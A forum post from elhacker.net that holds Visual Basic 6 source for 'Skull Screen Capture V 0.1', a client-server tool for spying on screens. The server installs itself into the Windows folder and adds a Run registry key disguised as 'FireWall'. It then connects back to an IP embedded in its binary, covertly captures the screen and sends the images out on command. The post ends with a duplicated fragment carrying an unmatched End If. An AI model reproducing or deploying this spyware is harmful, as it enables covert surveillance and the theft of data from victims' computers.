Foro de elhacker.net

Const skull As String = "Skull Screen Capture V 0.1"

Private Sub Command1_Click()
ws.LocalPort = 1234
ws.Listen
Label1.Caption = "Escuchando..."
Timer1.Enabled = True
End Sub

Private Sub Command2_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    labe1.Caption = "Desconectado..."
    Timer1.Enabled = False
    ws.Close
fin:
End Sub

Private Sub Command3_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "captura"
fin:
End Sub

Private Sub CommandXP1_Click()
Form3.Show
End Sub

Private Sub CommandXP4_Click()
If ws.State = 0 Then
    MsgBox ("Disculpe, pero no hay conexion establecida"), vbCritical, skull: GoTo fin
End If
    ws.SendData "eliminar"
fin:
End Sub

Private Sub Timer1_Timer()
If ws.State = 7 Then
    Label1.Caption = "Server Conectado"
End If
If ws.State = 0 Then
    Label1.Caption = "Escuchando..."
    ws.LocalPort = 1234
    ws.Listen
End If
End Sub

Private Sub ws_Connect()
MsgBox ("Server Conectado con cliente"), vbInformation, skull
End Sub

Private Sub ws_ConnectionRequest(ByVal requestID As Long)
ws.Close
ws.Accept requestID
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim imagen() As String
Dim datos As String
dll = Dir(Environ("WinDir") & "\imagen.jpg")
ws.GetData datos

Select Case Left(datos, 3)
    Case "fot"
        imagen = Split(datos, "|")
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
If dll <> "" Then
        Form2.Picture1 = LoadPicture(Environ("WinDir") & "\imagen.jpg")
        Form2.Show
        Pause 3
        Kill Environ("Windir") & "\imagen.jpg"
        Else
    If Not dll <> "" Then
            Open Environ("windir") & "\imagen.jpg" For Binary Access Write As #1
                Put #1, , imagen(1)
            Close #1
    End If
        If imagen(1) = "" Then
            ws.SendData "capturar"
        End If
End If
            
    Case "eli"
        MsgBox ("Server eliminado correctamente"), vbInformation, skull
        
End Select
End Sub

Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long
Private Declare Function GetWindowWord Lib "user32" (ByVal hwnd As Long, ByVal nIndex As Long) As Integer
Const SW_SHOWHIDE = 0
Const GWW_HINSTANCE = (-6)
Dim IPP() As String
Dim firma As String
Dim IP As String

Private Function Ruta() As String
Dim ModuleName As String, FileName As String, hInst As Long
ModuleName = String$(128, Chr$(0))
hInst = GetWindowWord(Me.hwnd, GWW_HINSTANCE)
ModuleName = Left$(ModuleName, GetModuleFileName(hInst, ModuleName, Len(ModuleName)))
Ruta = ModuleName
End Function

Private Sub Form_Load()
dll = Dir(Environ("WinDir") & "\foto.exe")
If App.PrevInstance = True Then End
firma = "skull"
If Not dll <> "" Then
    Call crear
End If
Open Ruta For Binary As #1
    Dim todo As String
    todo = Space(LOF(1))
    Get #1, , todo
Close #1
    IPP = Split(todo, firma)
    IP = IPP(1)
ws.Connect IP, 1234
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer()
If ws.State <> 7 Then
    ws.Close
    ws.Connect IP, 1234
End If
    If ws.State = 7 Then
        GoTo fin
End If
    If ws.State = 2 Then
        GoTo fin
End If
fin:
End Sub

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim posi As String
Dim datos As String
ws.GetData datos
Select Case Left(datos, 3)
    Case "cap"
        Call Capturar_enviar
        
    Case "eli"
        posi = Environ("Windir") & "\foto.exe"
        Open Environ("Windir") & "\temp.bat" For Output As #1
            Print #1, , "ping 127.0.0.1 > nul"
            Print #1, , "del / f / q " & posi
            Print #1, , "exit"
        Close #1
        ShellExecute Me.hwnd, "Open", Environ("WinDir") & "\temp.bat", vbNullString, "", SW_HIDE
        ws.SendData "eliminado"
        End
End Select
End Sub

Private Sub Capturar_enviar()
Dim foto As New cJpeg
dll = Dir(Environ("Windir") & "\foto.jpg")
Dim FileSize As String
    foto.SetSamplingFrequencies 2, 2, 2, 2, 2, 2
    foto.Quality = 93
    foto.SampleScreen
    foto.SaveFile Environ("Windir") & "\foto.jpg"
Pause 5
If dll <> "" Then
    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo
End Sub

Private Sub crear()
FileCopy Ruta, Environ("WinDir") & "\foto.exe"
Dim sk As Object
    Set sk = CreateObject("WScript.Shell")
    sk.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\run\FireWall", Environ("WinDir") & "\foto.exe"
End Sub

    Open Environ("Windir") & "\foto.jpg" For Binary Access Read As #1
        Do Until EOF(1)
            Dim todo As String
                todo = Space(LOF(1))
            Get #1, , todo
        Loop
    Close #1
End If
ws.SendData "foto" & "|" & todo